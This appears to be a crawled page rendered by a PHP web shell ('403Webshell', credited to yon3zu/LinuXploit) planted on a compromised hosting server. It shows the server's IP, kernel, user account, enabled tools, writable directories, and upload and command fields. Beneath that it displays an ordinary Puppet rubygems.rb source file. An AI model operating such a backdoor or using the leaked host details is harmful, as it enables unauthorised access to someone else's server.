403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.141.42.116
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/util//rubygems.rb
require_relative '../../puppet/util'

module Puppet::Util::RubyGems

  # Base/factory class for rubygems source. These classes introspec into
  # rubygems to in order to list where the rubygems system will look for files
  # to load.
  class Source
    class << self
      # @api private
      def has_rubygems?
        # Gems are not actually available when Bundler is loaded, even
        # though the Gem constant is defined. This is because Bundler
        # loads in rubygems, but then removes the custom require that
        # rubygems installs. So when Bundler is around we have to act
        # as though rubygems is not, e.g. we shouldn't be able to load
        # a gem that Bundler doesn't want us to see.
        defined? ::Gem and not defined? ::Bundler
      end

      # @api private
      def source
        if has_rubygems?
          Gems18Source
        else
          NoGemsSource
        end
      end

      def new(*args)
        object = source.allocate
        object.send(:initialize, *args)
        object
      end
    end
  end

  # For RubyGems >= 1.8.0
  # @api private
  class Gems18Source < Source
    def directories
      # `require 'mygem'` will consider and potentially load
      # prerelease gems, so we need to match that behavior.
      #
      # Just load the stub which points to the gem path, and
      # delay loading the full specification until if/when the
      # gem is required.
      Gem::Specification.stubs.collect do |spec|
        File.join(spec.full_gem_path, 'lib')
      end
    end

    def clear_paths
      Gem.clear_paths
    end
  end

  # @api private
  class NoGemsSource < Source
    def directories
      []
    end

    def clear_paths; end
  end
end


Youez - 2016 - github.com/yon3zu
LinuXploit